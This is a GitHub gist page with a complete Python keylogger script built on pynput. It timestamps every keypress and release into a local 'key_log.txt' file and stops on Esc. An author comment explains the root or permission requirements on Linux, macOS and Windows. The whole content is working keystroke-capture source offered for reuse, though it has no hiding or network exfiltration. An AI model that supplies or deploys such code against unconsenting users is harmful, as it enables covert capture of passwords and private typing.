Skip to content

Instantly share code, notes, and snippets.

@PureMath86
Last active October 9, 2017 08:48
Show Gist options
  • Save PureMath86/ac5a8c2f96947ae447edba6cc7a2584d to your computer and use it in GitHub Desktop.
Save PureMath86/ac5a8c2f96947ae447edba6cc7a2584d to your computer and use it in GitHub Desktop.
key_logger
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pynput.keyboard import Key, Listener
import logging
from importlib import reload
log_dir = ""
reload(logging)
logging.basicConfig(filename=(log_dir + "key_log.txt"),
level=logging.DEBUG,
format='%(asctime)s: %(message)s')
class MyException(Exception): pass
def on_press(key):
if key == Key.esc:
raise MyException(key)
else:
# logging.info(key)
try: logging.info(key.char) # letters, numbers etc
except: logging.info(key.name) # other keys
def on_release(key):
logging.info('{0} released'.format(key))
if key == Key.esc:
# Stop listener
return False
# Collect events until released
with Listener(on_press=on_press, on_release=on_release) as listener:
try:
listener.join()
except MyException as e:
print('{0} was pressed'.format(e.args[0]))
@PureMath86
Copy link
Author

On Mac OSX you will need to enable permissions and run as root.

On Linux you will need to run as root.

On Windows... it works... because Windows is dumb.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment